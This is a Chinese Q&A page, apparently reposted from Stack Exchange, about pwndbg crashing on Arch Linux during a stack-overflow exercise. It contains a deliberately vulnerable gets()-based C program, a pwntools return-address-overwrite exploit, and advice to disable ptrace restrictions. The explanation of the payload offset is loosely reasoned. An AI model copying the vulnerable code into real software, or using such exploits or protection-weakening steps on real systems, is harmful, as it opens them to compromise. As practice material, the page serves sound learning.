You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Arch Linux下pwndbg调试Hook时崩溃问题求助

栈溢出调试中pwndbg崩溃(SIGKILL)及pkg_resources警告问题解决

问题重现

  • 环境:Arch Linux x86_64
  • 编译命令:gcc source.c -o vuln -no-pie -fno-stack-protector -z execstack -m32
  • 操作:用pwntools编写exploit脚本,通过gdb.attach启动pwndbg,执行r命令后发送payload,进程以退出码-9(SIGKILL)终止;exploit界面抛出BrokenPipeError和EOFError
  • 附加问题:每次启动pwndbg收到pkg_resources API弃用警告
  • 对比:相同操作在其他设备可正常运行

原C源码

// gcc source.c -o vuln -no-pie -fno-stack-protector -z execstack -m32

#include <stdio.h>

void unsafe() {
    char buffer[40];

    puts("Overflow me");
    gets(buffer);
}

void main() {
    unsafe();
}

void flag() {
    puts("Exploited!!!!!");
}

原exploit脚本

from pwn import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

context.terminal = ['alacritty', '-e']

p = process('./vuln')

gdb.attach(p, 'b *0x080491aa')

payload = b'A' * 52
payload += p32(0x080491c3)

pause()
p.sendline(payload)

p.interactive()

问题排查与解决方案

1. 修正exploit脚本的架构配置

原脚本错误将架构设为amd64,但编译的是32位程序,上下文不匹配会干扰调试交互。

修正后的脚本:

from pwn import *

# 修正为32位架构i386
context(os='linux', arch='i386', log_level='debug')
context.terminal = ['alacritty', '-e']

p = process('./vuln')

# 断点地址需与目标程序匹配,可通过objdump -d vuln验证
gdb.attach(p, 'b *0x080491aa')

payload = b'A' * 52  # 40字节buffer + 8字节EBP + 4字节返回地址偏移,需实际调试确认
payload += p32(0x080491c3)  # flag函数地址可通过objdump -d vuln | grep flag获取

pause()
p.sendline(payload)

p.interactive()

2. 解决pwndbg的pkg_resources弃用警告

Arch Linux默认Python版本(3.10+)已弃用pkg_resources,pwndbg旧依赖触发警告,解决方式二选一:

  • 切换到pwndbg开发分支:cd ~/pwndbg && git checkout dev && ./setup.sh,开发分支已适配新版Python
  • 手动替换代码:将pwndbg中import pkg_resources替换为from importlib.metadata import version,并调整版本检查逻辑

3. 排查系统层面SIGKILL触发原因

SIGKILL多由系统安全机制触发,检查以下项:

  • 调整ptrace权限:执行echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope,允许进程被调试;写入/etc/sysctl.d/10-ptrace.conf可永久生效
  • 检查systemd限制:执行loginctl show-session $(loginctl | grep $USER | awk '{print $1}') | grep AllowPtrace,若为no则修改为yes
  • 关闭不必要安全工具:如AppArmor(Arch默认无,但需确认第三方工具)

4. 重新确认编译参数

添加调试信息参数,确保编译无遗漏:

gcc source.c -o vuln -m32 -no-pie -fno-stack-protector -z execstack -g

内容的提问来源于stack exchange,提问作者CuB3y0nd

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.13 11:53:15